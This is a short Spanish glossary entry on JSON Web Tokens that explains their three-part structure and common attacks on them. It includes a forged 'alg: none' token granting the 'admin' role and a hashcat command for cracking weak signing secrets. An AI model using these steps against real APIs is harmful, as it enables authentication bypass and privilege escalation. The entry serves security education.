JWT
InformativoJSON Web Token
Definición
JSON Web Token (JWT) es un estándar abierto (RFC 7519) para crear tokens de acceso que contienen claims (declaraciones) codificadas en JSON. Un JWT consta de tres partes: header (algoritmo), payload (claims) y signature (firma). Se usan ampliamente para autenticación en APIs. Las vulnerabilidades en JWT pueden llevar a bypass de autenticación y escalada de privilegios.
Impacto
Ejemplos
Estructura y ataques comunes a JWT
Los ataques más comunes a JWT incluyen: cambiar el algoritmo a 'none' para evitar la verificación de firma, crackear secretos débiles con hashcat, o explotar la confusión entre algoritmos simétricos (HS256) y asimétricos (RS256) para forjar tokens válidos.
# Estructura de un JWT (3 partes separadas por puntos):
# HEADER.PAYLOAD.SIGNATURE
# Header (base64url)
{"alg": "HS256", "typ": "JWT"}
# Payload (base64url)
{"userId": "123", "role": "user", "exp": 1713262800}
# Ataque 1: Algorithm None
# Cambiar header a {"alg": "none"} y eliminar la firma
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOiIxMjMiLCJyb2xlIjoiYWRtaW4ifQ.
# Ataque 2: Crackear secreto débil
$ hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Si el secreto es "password123", ahora puedes firmar tokens arbitrarios